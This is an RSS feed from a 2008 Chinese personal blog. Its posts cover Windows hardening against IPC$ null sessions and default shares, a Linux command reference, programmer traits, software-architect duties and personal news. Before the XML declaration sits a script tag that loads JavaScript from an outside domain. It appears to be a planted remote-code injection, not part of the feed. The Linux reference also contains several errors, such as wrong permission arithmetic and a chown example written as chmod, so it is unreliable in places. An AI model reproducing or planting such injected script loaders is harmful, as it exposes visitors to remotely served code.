

<script language="javascript" src="http://get.setheo.com/inurl.js"></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[Cxty's Blog - 杂七杂八]]></title>
<link>http://www.openx.cn/</link>
<description><![CDATA[嘻嚓啼歪的小窝窝]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog2 v2.4]]></copyright>
<webMaster><![CDATA[cxty@qq.com(嘻嚓啼歪)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>Cxty&#39;s Blog</title> 
	<url>http://www.openx.cn/images/logos.gif</url> 
	<link>http://www.openx.cn/</link> 
	<description>Cxty&#39;s Blog</description> 
</image>

			<item>
			<link>http://www.openx.cn/default.asp?id=465</link>
			<title><![CDATA[遗忘的命令]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[杂七杂八]]></category>
			<pubDate>Wed,02 Jul 2008 16:34:05 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=465</guid>	
		<description><![CDATA[]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=458</link>
			<title><![CDATA[Baby 80天艺术照二家爆光]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[杂七杂八]]></category>
			<pubDate>Tue,15 Apr 2008 20:35:01 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=458</guid>	
		<description><![CDATA[看偶80天就能抬这么高的头哇～～～<br/><img src="http://www.wuquanquan.com/attachments/month_0804/w2008415201231.jpg" border="0" alt=""/><br/><br/>我是奥运宝宝～～～～<br/><img src="http://www.wuquanquan.com/attachments/month_0804/s200841520209.jpg" border="0" alt=""/><br/><br/>首家曝光在这里:<a target="_blank" href="http://www.wuquanquan.com/article.asp?id=2">http://www.wuquanquan.com/article.asp?id=2</a>,特此申明<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=457</link>
			<title><![CDATA[关闭默认共享　禁止ipc$空连接]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[杂七杂八]]></category>
			<pubDate>Sun,13 Apr 2008 15:06:26 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=457</guid>	
		<description><![CDATA[<p>默认共享： <br />在Windows 2000/XP/2003系统中，逻辑分区与Windows目录默认为共享，这是为管理员管理服务器的方便而设，但却成为了别有用心之徒可趁的安全漏洞。</p>
<p>IPC$ <br />IPC$(Internet Process Connection)是共享&quot;命名管道&quot;的资源，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限，在远程管理计算机和查看计算机的共享资源时使用。</p>
<p>利用IPC$,连接者可以与目标主机建立一个空的连接，即无需用户名和密码就能连接主机，当然这样连接是没有任何操作权限的。但利用这个空的连接，连接者可以得到目标主机上的用户列表。 <br />利用获得的用户列表，就可以猜密码，或者穷举密码，从而获得更高，甚至管理员权限。</p>
<p>只要通过IPC$，获得足够的权限，就可以在主机上运行程序、创建用户、把主机上C、D、E等逻辑分区共享给入侵者，主机上的所有资料，包括QQ密码、email帐号密码、甚至存在电脑里的信用卡资料都会暴露在入侵者面前。</p>
<p>要防止别人用ipc$和默认共享入侵，需要禁止ipc$空连接，避免入侵者取得用户列表，并取消默认共享。</p>
<p><br />禁止ipc$空连接进行枚举 <br />运行regedit，找到如下组键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为：00000001 <br />Value：0x0(缺省) <br />0x1 匿名用户无法列举本机用户列表 <br />0x2 匿名用户无法连接本机IPC$共享 <br />说明:不建议使用2，否则可能会造成你的一些服务无法启动，如SQL Server</p>
<p>关闭139与445端口 <br />ipc$连接是需要139或445端口来支持的，139端口的开启表示netbios协议的应用，通过139,445(win2000)端口实现对共享文件/打印机的访问，因此关闭139与445端口可以禁止ipc$连接。</p>
<p>关闭139端口可以通过禁用 netbios 协议来实现。 <br />139端口关闭方法：控制面板-&gt;网络和拨号连接-&gt;本地连接，点属性按钮进入&ldquo;本地连接 属性&rdquo;页面，选择&ldquo;Internet 协议 (TCP/IP)&rdquo;，然后点属性按钮，在弹出窗口点高级按钮，然后选择WINS标签，点&ldquo;禁用 TCP/IP 上的 NetBios&rdquo;，最后确定退出。</p>
<p>445端口关闭方法：运行regedit，找到项[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]，建立名称为SMBDeviceEnabled，DWORD类型的键，值为00000000。</p>
<p>关闭默认共享：</p>
<p>1、删除已有的共享 <br />运行 <br />net share ipc$ /del <br />net share admin$ /del <br />net share c$ /del <br />net share d$ /del <br />&hellip;&hellip;&hellip;&hellip;（有几个删几个）</p>
<p>OR：建立新TXT文件，输入： <br />ECHO OFF <br />NET SHARE C$ /Delete <br />NET SHARE D$ /Delete <br />NET SHARE E$ /Delete <br />NET SHARE F$ /Delete <br />NET SHARE G$ /Delete <br />NET SHARE H$ /Delete <br />NET SHARE ADMIN$ /Delete <br />NET SHARE IPC$ /Delete <br />ECHO ON <br />（有更多分区的话继续加，I$ J$ &hellip;&hellip;） <br />另存为 noshare.bat 放在系统目录下，建立快捷方式到&ldquo;开始&rdquo;菜单的&ldquo;启动&rdquo;组。 这样每次启动的时候都自动删除共享。</p>
<p>或者在&ldquo;控制面板-&gt;管理工具-&gt;计算机管理&rdquo;里的&ldquo;共享文件夹-&gt;共享&rdquo;中删除。</p>
<p>2、修改注册表 <br />删除了共享，下一次启动时还是会自动打开共享，要永久关闭需要修改注册表</p>
<p>IPC$、Admin$和C$、D$都不同，在注册表的修改是不同的。你所改的只是禁止了C$、D$。而没有禁止IPC$。 <br />禁止C$、D$管理共享 <br />对于服务器而言： <br />修改HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters <br />Name：AutoShareServer <br />Type：DWORD <br />Value：0 <br />对于工作站而言： <br />修改HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters <br />Name：AutoShareWks <br />Type：DWORD <br />Value：0 <br />修改注册表后需要重启Server服务或重新启动机器。 <br />注：这些键值在默认情况下在主机上是不存在的，需要自己手动添加。</p>
<p>禁止ADMIN$缺省共享 <br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters <br />Name：AutoShareWks <br />Type：REG_DWORD <br />Value：0x0</p>
<p><br />另外:</p>
<p>A、关闭ipc$和默认共享依赖的服务（不推荐） <br />net stop lanmanserver <br />可能会有提示说，XXX服务也会关闭是否继续。因为还有些次要的服务依赖于lanmanserver。一般情况按y继续就可以了。</p>
<p>B、最简单的办法是设置复杂密码，防止通过ipc$穷举密码。但如果你有其他漏洞，ipc$将为进一步入侵提供方便。</p>
<p>C、装防火墙，或者端口过滤。</p>]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=455</link>
			<title><![CDATA[系统架构师]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[杂七杂八]]></category>
			<pubDate>Tue,08 Apr 2008 13:01:37 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=455</guid>	
		<description><![CDATA[<p>系统架构师负责设计系统整体架构，从需求到设计的每个细节都要考虑到，把握整个项目，使设计的项目尽量效率高，开发容易，维护方便，升级简单，等等<br />系统架构师的职责： </p>
<p><br />一、理解系统的业务需求，制定系统的整体框架（包括：技术框架和业务框架）</p>
<p><br />二、对系统框架相关技术和业务进行培训，指导开发人员开发。并解决系统开发、运行中出现的各种问题。 系统架构师的目的： </p>
<p><br />对系统的重用、扩展、安全、性能、伸缩性、简洁等做系统级的把握。 系统架构师能力要求： </p>
<p><br />一、系统架构相关的知识和经验。 </p>
<p><br />二、很强的自学能力、分析能力、解决问题的能力。</p>
<p><br /><br />三、写作、沟通表达、培训。</p>
<p><br />角色 <br /><br />软件架构师Software Architect 定义 <br /><br />主导系统全局分析设计和实施、负责软件构架和关键技术决策的角色 职责 </p>
<p><br />l、领导与协调整个项目中的技术活动（分析、设计和实施等）</p>
<p>&nbsp;2、推动主要的技术决策，并最终表达为软件构架 </p>
<p>3、确定和文档化系统的相对构架而言意义重大的方面，包括系统的需求、设计、实施和部署等&ldquo;视图&rdquo; </p>
<p>4、确定设计元素的分组以及这些主要分组之间的接口 </p>
<p>5、为技术决策提供规则，平衡各类涉众的不同关注点，化解技术风险，并保证相关决定被有效的传达和贯彻</p>
<p>&nbsp;6、理解、评价并接收系统需求 </p>
<p>7、评价和确认软件架构的实现 专业技能 </p>
<p><br />l、技术全面、成熟练达、洞察力强、经验丰富，具备在缺乏完整信息、众多问题交织一团、模糊和矛盾的情况下，迅速抓住问题要害，并做出合理的关键决定的能力 l、具备战略性和前瞻性思维能力，善于把握全局，能够在更高抽象级别上进行思考； l、对项目开发涉及的所有问题领域都有经验，包括彻底地理解项目需求，开展分析设计之类软件工程活动等 2、具备领导素质，以在各小组之间推进技术工作，并在项目压力下做出牢靠的关键决策 3、拥有优秀的沟通能力，用以进行说服、鼓励和指导等活动，并赢得项目成员的信任； 4、以目标导向和主动的方式来不带任何感情色彩地关注项目结果，构架师应当是项目背后的技术推动力，而非构想者或梦想家（追求完美） 5、精通构架设计的理论、实践和工具，并掌握多种参考构架、主要的可重用构架机制和模式（例如J2EE架构等）； 6、具备系统设计员的所有技能，但涉及面更广、抽象级别更高； 活动 <br /><br />确定用例或需求的优先级、进行构架分析、创建构架的概念验证原型、评估构架的概念验证原型的可行性、组织系统实施模型、描述系统分布结构、描述运行时刻构架、确定设计机制、确定设计元素、合并已有设计元素 工件 <br /><br />软件构架文档、参考构架、分析模型、设计模型、实施模型、部署模型、构架概念验证原型、接口、事件、信号与协议 系统架构师 <br /></p>]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=448</link>
			<title><![CDATA[收到百度HI邀请。]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[杂七杂八]]></category>
			<pubDate>Sun,30 Mar 2008 17:53:37 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=448</guid>	
		<description><![CDATA[<p>装麦咖啡的朋友注意咯～</p>
<p>安装百度Hi时候出现imcs.dll无法写入的错误。</p>
<p>[img]/attachments/month0803/pmes_bHI_1.jpg[/img]</p>
<p>这是由于麦咖啡的访问保护中屏蔽了百度搜霸造成的。</p>
<p>[img]/attachments/month0803/3zr6_bHI_2.jpg[/img]</p>
<p>去掉阻止就可以顺利安装啦。</p>]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=446</link>
			<title><![CDATA[国际：如何识别真正的程序员]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[杂七杂八]]></category>
			<pubDate>Sat,22 Mar 2008 20:14:13 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=446</guid>	
		<description><![CDATA[<p>如何识别优秀的程序员？并不是像听起来那么容易。在这儿工作经验的作用是很有限的，因为伟大的程序员不一定要&lsquo;正式&rsquo;的工作经历来证明他们的伟大。</p>
<p><strong>1，激情。</strong></p>
<p>我曾经遇到许多&ldquo;职业程序员&rdquo;，他们从事IT是因为觉得这是一种职业，他们只在工作时间编程，除非送去培训否则他们不会学习新东西，这不是好的程序员。我认为一个好的程序员总是对编程充满激情，而且好的开发者会做一些编程工作即使这没有报酬。激情是一个优秀程序员的重要指标。</p>
<p><strong>2，自学好学</strong></p>
<p>编程领域始终发展变化着，不出一年有些新技术就变成了老技术，这并不是说好的程序员要对所有新技术跟进，但有些却对学习任何新技术都没有兴趣。他们通常在学校学习了编程，然后工作后单位安排学什么就学什么。如果在招聘中你听到&ldquo;让我培训一个星期我就会胜任这个工作&rdquo;那不要雇佣他。实际上，真正优秀的程序员始终谈论着你所不知道的新技术，向人们解释为什么你必须用这个技术，哪怕没有听众听得明白，哪怕他自己也不明白。</p>
<p><strong>3，聪明</strong></p>
<p>聪明包括很多因素，情绪和社会交际只是其中之一。好的程序员绝不木讷，他们是最聪明的人，他们中的许多善于交际，健谈、兴趣广泛。</p>
<p><strong>4，隐性的经验</strong></p>
<p>&mdash;好的程序员通。常有自己的私人的一些研究、爱好、项目，而这些是他们不写在简历上 (通常觉得不值得写)，但表现出来却可能恰恰是他的潜能、深度和后劲所在。</p>
<p><strong>5，技术多样性</strong></p>
<p>由于好的程序员喜欢学习和涉猎新技术，所以一般来说超过22岁的都熟知很多新技术，而且对多种技术的长短有 &ldquo;强烈&rdquo;的个人意见/见解，喜好尝试新鲜技术。</p>
<p><strong>6，资格证书</strong></p>
<p>资格证书并不是识别真正程序员的方法，MCSE、SCJP、说明不了什么，它们只是让别人认识和获取的，顶多代表这个人在某个技术有一定的知识。</p>
<p>原文作者在文末写道：以上所说的标准并不是绝对的，因为有些优秀的程序员确实不符合上述，而有些bad程序员却符合了。但相信这些对大多数真正的程序员都适用。</p>
<p>&nbsp;</p>
<p><strong>总结而言，优秀的程序员通常有一下特点：</strong></p>
<p>n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 对技术充满激情；</p>
<p>n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将编程作为一种爱好</p>
<p>n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果你允许会滔滔不绝地跟你谈论技术</p>
<p>n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 有过个人的开发经历（与4意思相同）</p>
<p>n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 坚持认为某种技术最好</p>
<p>n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果让他用他认为不好的技术他会非常别扭</p>
<p>n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 聪明、健谈、兴趣广泛</p>
<p>n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在大学和工作前就开始接触程序</p>
<p>&nbsp;</p>
<p>摘:http://news.csdn.net/n/20080117/112853.html</p>]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=445</link>
			<title><![CDATA[Linux系统指令大全]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[杂七杂八]]></category>
			<pubDate>Mon,17 Mar 2008 14:11:18 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=445</guid>	
		<description><![CDATA[<span class="a14c" id="zoom">&nbsp;
<p style="TEXT-INDENT: 2em">名称：cat </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式：cat [-AbeEnstTuv] [--help] [--version] fileName </p>
<p style="TEXT-INDENT: 2em">说明：把档案串连接后传到基本输出（萤幕或加 &gt; fileName 到另一个档案） </p>
<p style="TEXT-INDENT: 2em">参数： </p>
<p style="TEXT-INDENT: 2em">-n 或 --number 由 1 开始对所有输出的行数编号 </p>
<p style="TEXT-INDENT: 2em">-b 或 --number-nonblank 和 -n 相似，只不过对于空白行不编号 </p>
<p style="TEXT-INDENT: 2em">-s 或 --squeeze-blank 当遇到有连续两行以上的空白行，就代换为一行的空白行 </p>
<p style="TEXT-INDENT: 2em">-v 或 --show-nonprinting </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">cat -n textfile1 &gt; textfile2 把 textfile1 的档案内容加上行号后输入 textfile2 这个档案里 </p>
<p style="TEXT-INDENT: 2em">cat -b textfile1 textfile2 &gt;&gt; textfile3 把 textfile1 和 textfile2 的档案内容加上行号（空白行不加）之后将内容附加到 textfile3 </p>
<p style="TEXT-INDENT: 2em">名称 : cd </p>
<p style="TEXT-INDENT: 2em">使用权限 : 所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式 : cd [dirName] </p>
<p style="TEXT-INDENT: 2em">说明 : 变换工作目录至 dirName。 其中 dirName 表示法可为绝对路径或相对路径。若目录名称省略，则变换至使用者的 home directory (也就是刚 login 时所在的目录)。 </p>
<p style="TEXT-INDENT: 2em">另外，&quot;~&quot; 也表示为 home directory 的意思，&quot;.&quot; 则是表示目前所在的目录，&quot;..&quot; 则表示目前目录位置的上一层目录。 </p>
<p style="TEXT-INDENT: 2em">范例 : 跳到 /usr/bin/ : </p>
<p style="TEXT-INDENT: 2em">cd /usr/bin </p>
<p style="TEXT-INDENT: 2em">跳到自己的 home directory : </p>
<p style="TEXT-INDENT: 2em">cd ~ </p>
<p style="TEXT-INDENT: 2em">跳到目前目录的上上两层 : </p>
<p style="TEXT-INDENT: 2em">cd ../.. </p>
<p style="TEXT-INDENT: 2em">指令名称 : chmod </p>
<p style="TEXT-INDENT: 2em">使用权限 : 所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式 : chmod [-cfvR] [--help] [--version] mode file... </p>
<p style="TEXT-INDENT: 2em">说明 : Linux/Unix 的档案存取权限分为三级 : 档案拥有者、群组、其他。利用 chmod 可以藉以控制档案如何被他人所存取。 </p>
<p style="TEXT-INDENT: 2em">把计 : </p>
<p style="TEXT-INDENT: 2em">mode : 权限设定字串，格式如下 : [ugoa...][[+-=][rwxX]...][,...]，其中u 表示该档案的拥有者，g 表示与该档案的拥有者属于同一个群体(group)者，o 表示其他以外的人，a 表示这三者皆是。 </p>
<p style="TEXT-INDENT: 2em">+ 表示增加权限、- 表示取消权限、= 表示唯一设定权限。 </p>
<p style="TEXT-INDENT: 2em">r 表示可读取，w 表示可写入，x 表示可执行，X 表示只有当该档案是个子目录或者该档案已经被设定过为可执行。 </p>
<p style="TEXT-INDENT: 2em">-c : 若该档案权限确实已经更改，才显示其更改动作 </p>
<p style="TEXT-INDENT: 2em">-f : 若该档案权限无法被更改也不要显示错误讯息 </p>
<p style="TEXT-INDENT: 2em">-v : 显示权限变更的详细资料 </p>
<p style="TEXT-INDENT: 2em">-R : 对目前目录下的所有档案与子目录进行相同的权限变更(即以递回的方式逐个变更) </p>
<p style="TEXT-INDENT: 2em">--help : 显示辅助说明 </p>
<p style="TEXT-INDENT: 2em">--version : 显示版本 </p>
<p style="TEXT-INDENT: 2em">范例 :将档案 file1.txt 设为所有人皆可读取 : </p>
<p style="TEXT-INDENT: 2em">chmod ugo+r file1.txt </p>
<p style="TEXT-INDENT: 2em">将档案 file1.txt 设为所有人皆可读取 : </p>
<p style="TEXT-INDENT: 2em">chmod a+r file1.txt </p>
<p style="TEXT-INDENT: 2em">将档案 file1.txt 与 file2.txt 设为该档案拥有者，与其所属同一个群体者可写入，但其他以外的人则不可写入 : </p>
<p style="TEXT-INDENT: 2em">chmod ug+w,o-w file1.txt file2.txt </p>
<p style="TEXT-INDENT: 2em">将 ex1.py 设定为只有该档案拥有者可以执行 : </p>
<p style="TEXT-INDENT: 2em">chmod u+x ex1.py </p>
<p style="TEXT-INDENT: 2em">将目前目录下的所有档案与子目录皆设为任何人可读取 : </p>
<p style="TEXT-INDENT: 2em">chmod -R a+r * </p>
<p style="TEXT-INDENT: 2em">此外chmod也可以用数字来表示权限如 chmod 777 file </p>
<p style="TEXT-INDENT: 2em">语法为：chmod abc file </p>
<p style="TEXT-INDENT: 2em">其中a,b,c各为一个数字，分别表示User、Group、及Other的权限。 </p>
<p style="TEXT-INDENT: 2em">r=4，w=2，x=1 </p>
<p style="TEXT-INDENT: 2em">若要rwx属性则4+2+1=7； </p>
<p style="TEXT-INDENT: 2em">若要rw-属性则4+2=6； </p>
<p style="TEXT-INDENT: 2em">若要r-x属性则4+1=7。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">chmod a=rwx file </p>
<p style="TEXT-INDENT: 2em">和 </p>
<p style="TEXT-INDENT: 2em">chmod 777 file </p>
<p style="TEXT-INDENT: 2em">效果相同 </p>
<p style="TEXT-INDENT: 2em">chmod ug=rwx,o=x file </p>
<p style="TEXT-INDENT: 2em">和 </p>
<p style="TEXT-INDENT: 2em">chmod 771 file </p>
<p style="TEXT-INDENT: 2em">效果相同 </p>
<p style="TEXT-INDENT: 2em">若用chmod 4755 filename可使此程式具有root的权限 </p>
<p style="TEXT-INDENT: 2em">指令名称 : chown </p>
<p style="TEXT-INDENT: 2em">使用权限 : root </p>
<p style="TEXT-INDENT: 2em">使用方式 : chmod [-cfhvR] [--help] [--version] user[:group] file... </p>
<p style="TEXT-INDENT: 2em">说明 : Linux/Unix 是多人多工作业系统，所有的档案皆有拥有者。利用 chown 可以将档案的拥有者加以改变。一般来说，这个指令只有是由系统管理者(root)所使用，一般使用者没有权限可以改变别人的档案拥有者，也没有权限可以自己的档案拥有者改设为别人。只有系统管理者(root)才有这样的权限。 </p>
<p style="TEXT-INDENT: 2em">把计 : </p>
<p style="TEXT-INDENT: 2em">user : 新的档案拥有者的使用者 IDgroup : 新的档案拥有者的使用者群体(group)-c : 若该档案拥有者确实已经更改，才显示其更改动作-f : 若该档案拥有者无法被更改也不要显示错误讯息-h : 只对于连结(link)进行变更，而非该 link 真正指向的档案-v : 显示拥有者变更的详细资料-R : 对目前目录下的所有档案与子目录进行相同的拥有者变更(即以递回的方式逐个变更)--help : 显示辅助说明--version : 显示版本 </p>
<p style="TEXT-INDENT: 2em">范例 : </p>
<p style="TEXT-INDENT: 2em">将档案 file1.txt 的拥有者设为 users 群体的使用者 jessie : </p>
<p style="TEXT-INDENT: 2em">chown jessie:users file1.txt </p>
<p style="TEXT-INDENT: 2em">将目前目录下的所有档案与子目录的拥有者皆设为 users 群体的使用者 lamport : </p>
<p style="TEXT-INDENT: 2em">chmod -R lamport:users * </p>
<p style="TEXT-INDENT: 2em"><span class="a14c" id="zoom">
<p style="TEXT-INDENT: 2em">名称：cp </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式： </p>
<p style="TEXT-INDENT: 2em">cp [options] source dest </p>
<p style="TEXT-INDENT: 2em">cp [options] source... directory </p>
<p style="TEXT-INDENT: 2em">说明：将一个档案拷贝至另一档案，或将数个档案拷贝至另一目录。 </p>
<p style="TEXT-INDENT: 2em">把计 </p>
<p style="TEXT-INDENT: 2em">-a 尽可能将档案状态、权限等资料都照原状予以复制。 </p>
<p style="TEXT-INDENT: 2em">-r 若 source 中含有目录名，则将目录下之档案亦皆依序拷贝至目的地。 </p>
<p style="TEXT-INDENT: 2em">-f 若目的地已经有相同档名的档案存在，则在复制前先予以删除再行复制。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">将档案 aaa 复制(已存在)，并命名为 bbb : </p>
<p style="TEXT-INDENT: 2em">cp aaa bbb </p>
<p style="TEXT-INDENT: 2em">将所有的C语言程式拷贝至 Finished 子目录中 : </p>
<p style="TEXT-INDENT: 2em">cp *.c Finished </p>
<p style="TEXT-INDENT: 2em">名称：cut </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">用法：cut -cnum1-num2 filename </p>
<p style="TEXT-INDENT: 2em">说明：显示每行从开头算起 num1 到 num2 的文字。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">shell&gt;&gt; cat example </p>
<p style="TEXT-INDENT: 2em">test2 </p>
<p style="TEXT-INDENT: 2em">this is test1 </p>
<p style="TEXT-INDENT: 2em">shell&gt;&gt; cut -c0-6 example ## print 开头算起前 6 个字元 </p>
<p style="TEXT-INDENT: 2em">test2 </p>
<p style="TEXT-INDENT: 2em">this i </p>
<p style="TEXT-INDENT: 2em">名称 : find </p>
<p style="TEXT-INDENT: 2em">用法 : find </p>
<p style="TEXT-INDENT: 2em">使用说明 : </p>
<p style="TEXT-INDENT: 2em">将档案系统内符合 expression 的档案列出来。你可以指要档案的名称、类别、时间、大小、权限等不同资讯的组合，只有完全相符的才会被列出来。 </p>
<p style="TEXT-INDENT: 2em">find 根据下列规则判断 path 和 expression，在命令列上第一个 - ( ) , ! 之前的部份为 path，之后的是 expression。如果 path 是空字串则使用目前路径，如果 expression 是空字串则使用 -print 为预设 expression </p>
<p style="TEXT-INDENT: 2em">expression 中可使用的选项有二三十个之多，在此只介绍最常用的部份。 </p>
<p style="TEXT-INDENT: 2em">-mount, -xdev : 只检查和指定目录在同一个档案系统下的档案，避免列出其它档案系统中的档案 </p>
<p style="TEXT-INDENT: 2em">-amin n : 在过去 n 分钟内被读取过 </p>
<p style="TEXT-INDENT: 2em">-anewer file : 比档案 file 更晚被读取过的档案 </p>
<p style="TEXT-INDENT: 2em">-atime n : 在过去 n 天过读取过的档案 </p>
<p style="TEXT-INDENT: 2em">-cmin n : 在过去 n 分钟内被修改过 </p>
<p style="TEXT-INDENT: 2em">-cnewer file :比档案 file 更新的档案 </p>
<p style="TEXT-INDENT: 2em">-ctime n : 在过去 n 天过修改过的档案 </p>
<p style="TEXT-INDENT: 2em">-empty : 空的档案-gid n or -group name : gid 是 n 或是 group 名称是 name </p>
<p style="TEXT-INDENT: 2em">-ipath p, -path p : 路径名称符合 p 的档案，ipath 会忽略大小写 </p>
<p style="TEXT-INDENT: 2em">-name name, -iname name : 档案名称符合 name 的档案。iname 会忽略大小写 </p>
<p style="TEXT-INDENT: 2em">-size n : 档案大小 是 n 单位，b 代表 512 位元组的区块，c 表示字元数，k 表示 kilo bytes，w 是二个位元组。-type c : 档案类型是 c 的档案。 </p>
<p style="TEXT-INDENT: 2em">d: 目录 </p>
<p style="TEXT-INDENT: 2em">c: 字型装置档案 </p>
<p style="TEXT-INDENT: 2em">b: 区块装置档案 </p>
<p style="TEXT-INDENT: 2em">p: 具名贮列 </p>
<p style="TEXT-INDENT: 2em">f: 一般档案 </p>
<p style="TEXT-INDENT: 2em">l: 符号连结 </p>
<p style="TEXT-INDENT: 2em">s: socket </p>
<p style="TEXT-INDENT: 2em">-pid n : process id 是 n 的档案 </p>
<p style="TEXT-INDENT: 2em">你可以使用 ( ) 将运算式分隔，并使用下列运算。 </p>
<p style="TEXT-INDENT: 2em">exp1 -and exp2 </p>
<p style="TEXT-INDENT: 2em">! expr </p>
<p style="TEXT-INDENT: 2em">-not expr </p>
<p style="TEXT-INDENT: 2em">exp1 -or exp2 </p>
<p style="TEXT-INDENT: 2em">exp1, exp2 </p>
<p style="TEXT-INDENT: 2em">范例: </p>
<p style="TEXT-INDENT: 2em">将目前目录及其子目录下所有延伸档名是 c 的档案列出来。 </p>
<p style="TEXT-INDENT: 2em"># find . -name &quot;*.c&quot; </p>
<p style="TEXT-INDENT: 2em">将目前目录其其下子目录中所有一般档案列出 </p>
<p style="TEXT-INDENT: 2em"># find . -ftype f </p>
<p style="TEXT-INDENT: 2em">将目前目录及其子目录下所有最近 20 分钟内更新过的档案列出 </p>
<p style="TEXT-INDENT: 2em"># find . -ctime -20 </p>
<p style="TEXT-INDENT: 2em">名称：less </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式： </p>
<p style="TEXT-INDENT: 2em">less [Option] filename </p>
<p style="TEXT-INDENT: 2em">说明： </p>
<p style="TEXT-INDENT: 2em">less 的作用与 more 十分相似，都可以用来浏览文字档案的内容，不同的是 less 允许使用者往回卷动 </p>
<p style="TEXT-INDENT: 2em">以浏览已经看过的部份，同时因为 less 并未在一开始就读入整个档案，因此在遇上大型档案的开启时，会比一般的文书编辑器(如 vi)来的快速。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">指令名称 : ln </p>
<p style="TEXT-INDENT: 2em">使用权限 : 所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式 : ln [options] source dist，其中 option 的格式为 : </p>
<p style="TEXT-INDENT: 2em">[-bdfinsvF] [-S backup-suffix] [-V {numbered,existing,simple}] </p>
<p style="TEXT-INDENT: 2em">[--help] [--version] [--] </p>
<p style="TEXT-INDENT: 2em">说明 : Linux/Unix 档案系统中，有所谓的连结(link)，我们可以将其视为档案的别名，而连结又可分为两种 : 硬连结(hard link)与软连结(symbolic link)，硬连结的意思是一个档案可以有多个名称，而软连结的方式则是产生一个特殊的档案，该档案的内容是指向另一个档案的位置。硬连结是存在同一个档案系统中，而软连结却可以跨越不同的档案系统。 </p>
<p style="TEXT-INDENT: 2em"><span class="a14c" id="zoom">
<p style="TEXT-INDENT: 2em">ln source dist 是产生一个连结(dist)到 source，至于使用硬连结或软链结则由参数决定。 </p>
<p style="TEXT-INDENT: 2em">不论是硬连结或软链结都不会将原本的档案复制一份，只会占用非常少量的磁碟空间。 </p>
<p style="TEXT-INDENT: 2em">-f : 链结时先将与 dist 同档名的档案删除-d : 允许系统管理者硬链结自己的目录-i : 在删除与 dist 同档名的档案时先进行询问-n : 在进行软连结时，将 dist 视为一般的档案-s : 进行软链结(symbolic link)-v : 在连结之前显示其档名-b : 将在链结时会被覆写或删除的档案进行备份-S SUFFIX : 将备份的档案都加上 SUFFIX 的字尾-V METHOD : 指定备份的方式--help : 显示辅助说明--version : 显示版本 </p>
<p style="TEXT-INDENT: 2em">范例 : </p>
<p style="TEXT-INDENT: 2em">将档案 yy 产生一个 symbolic link : zz </p>
<p style="TEXT-INDENT: 2em">ln -s yy zz </p>
<p style="TEXT-INDENT: 2em">将档案 yy 产生一个 hard link : zz </p>
<p style="TEXT-INDENT: 2em">ln yy xx </p>
<p style="TEXT-INDENT: 2em">名称：locate </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式： locate [-q] [-d ] [--database=] </p>
<p style="TEXT-INDENT: 2em">locate [-r ] [--regexp=] </p>
